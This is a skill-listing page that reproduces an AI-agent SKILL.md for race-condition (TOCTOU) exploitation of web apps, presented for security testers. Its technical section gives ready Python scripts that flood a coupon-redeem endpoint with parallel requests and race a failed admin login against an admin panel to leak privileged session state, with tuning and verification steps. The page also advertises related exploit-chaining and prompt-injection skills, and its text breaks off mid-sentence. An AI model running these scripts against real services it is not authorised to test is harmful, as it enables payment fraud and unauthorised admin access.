race-condition
What it does
This skill explains how timing gaps in web apps can be abused by sending requests at the same moment. It is for security testers checking payments, coupons and session logic.
When to use it
- βWhen a coupon, balance or transfer may be used more than once with simultaneous requests.
- βWhen a login or session flow writes data before checking it and you want to test the timing.
- βWhen a security review asks whether checks and updates happen as one step.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether my coupon code can be used twice if I send the request many times at once?β
5 new skills a week. 1 minute to read.
How it works
The agent sends many similar requests at the same time and compares the results to see whether a check passes more than once before the change is saved.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Race Conditions (TOCTOU)
Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act β wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Slow auth path: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
session[k] = form[k]BEFORE validation: e.g. login writessession["user"] = posted_usernamebefore checking the password β the session row carries attacker-chosen state during the bcrypt sleep.- Check-then-act money flows: balance/quota/coupon/transfer endpoints that do
if x.balance >= n: x.balance -= nwithout a single atomic UPDATE-with-WHERE-balance>=n. - Idempotency-key-less POSTs to mutating endpoints β same payload N times in parallel produces N writes.
- Challenge tag includes
race_condition,toctou,concurrent,last-write-wins, ordouble-spend. (Note:smuggling_desyncis a parser-disagreement attack, NOT a race β route to/skills/standard/exploit/web/smuggling/SKILL.md.) - Session-coupled endpoints: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.
Single-Endpoint Race β Double Submit
Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here β it's the cheapest probe.
# python3 -c "$(cat << 'PY' ... PY)" β keep timeout β€ 5s, count β€ 30
python3 - <<'PY'
import concurrent.futures, requests, sys
URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20
def fire(_):
return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code
with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
codes = list(ex.map(fire, range(N)))
print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY
Win condition: more than one 200/201 for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst β multiple debits/credits = race won.
Verification (β₯3 reproductions)
A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if β₯3 of 3 reproductions show duplicate writes.
# Repeat the burst across 3 fresh trials
python3 - <<'PY'
import concurrent.futures, requests
# ... fire 20 parallel POSTs, count successes ...
# Run 3 times against reset state, log each trial's win count.
PY
Multi-Endpoint State-Leak Race
The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt β the session carries privileged state but no valid auth has happened yet.
Pattern:
POST /loginwithusername=admin&password=wrongβ server writessession["user"]="admin"BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).GET /admin_panelβ checks onlysession["user"] == "admin".- During the bcrypt window,
/admin_panelreturns admin content. After bcrypt,/loginclears the session and returns 401.
python3 - <<'PY'
import concurrent.futures, requests, time
S = requests.Session()
LOGIN = "https://<TARGET>/login"
TARGET = "https://<TARGET>/admin_panel"
CREDS = {"username": "admin", "password": "wrong"}
def hit_login():
return S.post(LOGIN, data=CREDS, timeout=5).status_code
def hit_target():
# Stagger by ~50ms so the read lands inside the bcrypt window
time.sleep(0.05)
r = S.get(TARGET, timeout=5)
return r.status_code, len(r.content), r.text[:200]
with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:
f1 = ex.submit(hit_login)
f2 = ex.submit(hit_target)
print("login:", f1.result())
print("target:", f2.result())
PY
Tune the stagger (time.sleep) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write
FAQ
What is a TOCTOU bug?
It is a time-of-check to time-of-use gap, where an app checks a condition, then acts later when the condition may have changed.
Does it cover slow login steps?
Yes, it mentions slow password hashing as something that can widen the timing window.
Is this the same as request smuggling?
No, the skill says smuggling is a parser disagreement attack and belongs to a different skill.
Details
Original description by the author
Race condition / TOCTOU exploitation β concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14077
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.